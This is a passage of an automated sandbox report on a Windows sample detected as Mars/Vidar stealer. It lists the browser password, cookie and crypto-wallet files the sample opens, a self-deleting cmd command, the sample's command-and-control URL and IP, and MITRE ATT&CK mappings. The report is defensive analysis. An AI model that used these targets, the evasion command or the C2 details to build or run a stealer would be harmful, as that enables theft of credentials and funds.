0_2_00409220

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0043C04C mov eax, dword ptr fs:[00000030h]	0_2_0043C04C
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00415E60 mov eax, dword ptr fs:[00000030h]	0_2_00415E60
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0043C0B2 mov eax, dword ptr fs:[00000030h]	0_2_0043C0B2

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_00406040 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00406040

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\DZ1x3hqhbe.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5			Jump to behavior

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,

0_2_0040CF60

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_0040CE40 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_0040CE40

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_0040CE00 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_0040CE00

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_0040CEA0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_0040CEA0

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_004084E0 GetVersionExA,LoadLibraryA,WideCharToMultiByte,lstrlen,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,FreeLibrary,

0_2_004084E0

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: DZ1x3hqhbe.exe, type: SAMPLE
Source: Yara match	File source: 0.0.DZ1x3hqhbe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1663451116.000000000043C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1615604617.000000000043C000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DZ1x3hqhbe.exe PID: 1460, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default_wallet
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DZ1x3hqhbe.exe PID: 1460, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: DZ1x3hqhbe.exe, type: SAMPLE
Source: Yara match	File source: 0.0.DZ1x3hqhbe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1663451116.000000000043C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1615604617.000000000043C000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DZ1x3hqhbe.exe PID: 1460, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6090C1D6 sqlite3_clear_bindings,	0_2_6090C1D6
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_609254B1 sqlite3_bind_zeroblob,	0_2_609254B1
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6090F435 sqlite3_bind_parameter_index,	0_2_6090F435
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_609255D4 sqlite3_bind_text16,	0_2_609255D4
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_609255FF sqlite3_bind_text,	0_2_609255FF
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60925686 sqlite3_bind_int64,	0_2_60925686
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_609256E5 sqlite3_bind_int,	0_2_609256E5
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6092562A sqlite3_bind_blob,	0_2_6092562A
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60925655 sqlite3_bind_null,	0_2_60925655
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6092570B sqlite3_bind_double,	0_2_6092570B
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60925778 sqlite3_bind_value,	0_2_60925778
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6090577D sqlite3_bind_parameter_name,	0_2_6090577D
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6090576B sqlite3_bind_parameter_count,	0_2_6090576B
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6090EAE5 sqlite3_transfer_bindings,	0_2_6090EAE5

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	31 Native API	Path Interception	11 Process Injection	1 Masquerading	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Virtualization/Sandbox Evasion	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	24 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	225 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DZ1x3hqhbe.exe	83%	ReversingLabs	Win32.Trojan.MarsStealer
DZ1x3hqhbe.exe	82%	Virustotal		Browse
DZ1x3hqhbe.exe	100%	Avira	TR/Crypt.XPACK.Gen
DZ1x3hqhbe.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
couriercare.in	16%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://couriercare.in/2/gate.php	100%	Avira URL Cloud	malware
couriercare.in/2/gate.php	100%	Avira URL Cloud	malware
http://couriercare.in/request)CE	100%	Avira URL Cloud	malware
http://couriercare.in/2/gate.phpcM	100%	Avira URL Cloud	malware
http://couriercare.in/request	100%	Avira URL Cloud	malware
couriercare.in/2/gate.php	18%	Virustotal		Browse
http://couriercare.in/request	0%	Virustotal		Browse
http://couriercare.in/2/gate.php	18%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
couriercare.in	192.187.112.99	true	true	16%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
couriercare.in/2/gate.php	true	18%, Virustotal, Browse Avira URL Cloud: malware	low
http://couriercare.in/2/gate.php	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://couriercare.in/request	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	VKNYUK68.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	DZ1x3hqhbe.exe, 00000000.00000003.1649145910.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.0.dr	false		high
https://duckduckgo.com/ac/?q=	VKNYUK68.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	VKNYUK68.0.dr	false		high
http://ocsp.thawte.com0	DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com0	DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	VKNYUK68.0.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	VKNYUK68.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	DZ1x3hqhbe.exe, 00000000.00000003.1638484559.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670516784.000000000F47C000.00000004.00000020.00020000.00000000.sdmp, KFCJW4E3.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	DZ1x3hqhbe.exe, 00000000.00000003.1638484559.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670516784.000000000F47C000.00000004.00000020.00020000.00000000.sdmp, KFCJW4E3.0.dr	false		high
https://www.ecosia.org/newtab/	VKNYUK68.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DZ1x3hqhbe.exe, 00000000.00000003.1649145910.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://couriercare.in/request)CE	DZ1x3hqhbe.exe, 00000000.00000002.1663570628.0000000000750000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefox	DZ1x3hqhbe.exe, 00000000.00000002.1670969754.000000001023D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	VKNYUK68.0.dr	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	KFCJW4E3.0.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	VKNYUK68.0.dr	false		high
http://couriercare.in/2/gate.phpcM	DZ1x3hqhbe.exe, 00000000.00000002.1663570628.0000000000750000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	KFCJW4E3.0.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	VKNYUK68.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.187.112.99	couriercare.in	United States		33387	NOCIXUS	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1367967
Start date and time:	2023-12-29 12:06:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DZ1x3hqhbe.exe renamed because original name is a hash value
Original Sample Name:	a3e2fbe15176a56ac45f26368b80b3fc.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/15@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 81 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:06:49	API Interceptor	1x Sleep call for process: DZ1x3hqhbe.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.187.112.99	INV_34897003.pif.exe	Get hash	malicious	Mars Stealer, Vidar	Browse	pushpointdelivery.com/gate.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NOCIXUS	ATT00001.htm	Get hash	malicious	Unknown	Browse	192.187.118.114
	Untitled attachment 00013.htm	Get hash	malicious	HTMLPhisher	Browse	192.187.118.114
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse	192.187.118.114
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse	192.187.118.114
	Ubevijukroxyde.exe	Get hash	malicious	DBatLoader, FormBook	Browse	192.187.112.106
	cool.x86.elf	Get hash	malicious	Unknown	Browse	74.91.26.145
	stvtnhaf3hcj.exe	Get hash	malicious	FormBook	Browse	63.141.242.43
	ai0bE8523b3IsUB.exe	Get hash	malicious	FormBook	Browse	63.141.242.46
	MAFIN SRL INVOICE.gz	Get hash	malicious	FormBook	Browse	192.187.111.219
	vDXkQEbxeQ.exe	Get hash	malicious	FormBook	Browse	192.187.111.220
	IO6T5PKtWK.elf	Get hash	malicious	Mirai	Browse	198.204.224.50
	PO_4501283529.xls	Get hash	malicious	FormBook	Browse	192.187.111.220
	PO_4501289523.xls	Get hash	malicious	FormBook	Browse	63.141.242.45
	Documentaci#U00f3n_Solicitada.PDF.exe	Get hash	malicious	NSISDropper	Browse	63.141.242.43
	INV_34897003.pif.exe	Get hash	malicious	Mars Stealer, Vidar	Browse	192.187.112.99
	http://www.toolsmax-ftps.bond/Thursdays-unwinds/2886w2vr395SH86N13di63ePcw1829L35P5IrgDxDvDcEiDaIrHvDrfDZwaIDhxaEGsi7qQVRQeK5aT10F6pW32wD	Get hash	malicious	Unknown	Browse	198.204.248.170
	PO-210.xls	Get hash	malicious	Unknown	Browse	192.187.111.221
	mi1w8A8qUH.exe	Get hash	malicious	FormBook, NSISDropper	Browse	192.187.101.110
	proforma_invoice_PDF.exe	Get hash	malicious	DBatLoader, FormBook	Browse	192.187.111.222
	SKMB801526CI50.exe	Get hash	malicious	FormBook	Browse	192.187.111.222

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	4bVsmYiuXy.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	SecuriteInfo.com.Win32.Evo-gen.25423.22998.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	PmX1jHdUnS.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	INV_34897003.pif.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	cBMUYyAn60.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse

Created / dropped Files

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
